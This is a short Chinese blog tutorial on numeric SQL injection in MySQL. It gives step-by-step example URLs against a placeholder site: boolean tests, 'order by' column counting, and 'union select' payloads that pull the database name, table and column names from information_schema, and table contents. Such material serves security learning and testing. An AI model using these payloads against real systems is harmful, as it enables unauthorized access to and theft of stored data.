MySQL数字型注入

准备知识
sql的增删改查命令(其中and & or(运算符)、order by(排序)、union(合并语句操作符)是重点)

  1. 判断是否存在漏洞
    用and 1=1和and 1=2来验证判断,如:
    http://www.xxx.com/sqli/01.php?id=1 and 1=1
    返回数据,说明执行成功
    http://www.xxx.com/sqli/01.php?id=1 and 1=2
    不返回数据,说明数据库后台报错了

  2. 用排序间接查找出所有列(专业说法SQL中叫字段)
    用order by 来根据字段所在列排序间接查找出有多少个字段(列),如:
    http://www.xxx.com/sqli/01.php?id=1 order by 3

  3. 用合并语句查询,并把自定义数字/字符来占位显示,需让自带表达式报错才能显示出自定义数字/字符,如:
    http://www.xxx.com/1.php?id=1 and 1=2 union select 1,2,3

  4. 找出当前表的数据库名,如:
    http://www.xxx.com/1.php?id=1 and 1=2 union select 1,database(),3

  5. 合并查询查出的数据库的所有表名,如:
    http://www.xxx.com/1.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

  6. 继续合并查询出当前表的所有字段(列名)如:
    http://www.xxx.com/1.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘news’

  7. 查询出字段下的数据,如:
    http://www.xxx.com/1.php?id=1 and 1=2 union select 1,group_concat(id,title,content),3 from news

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值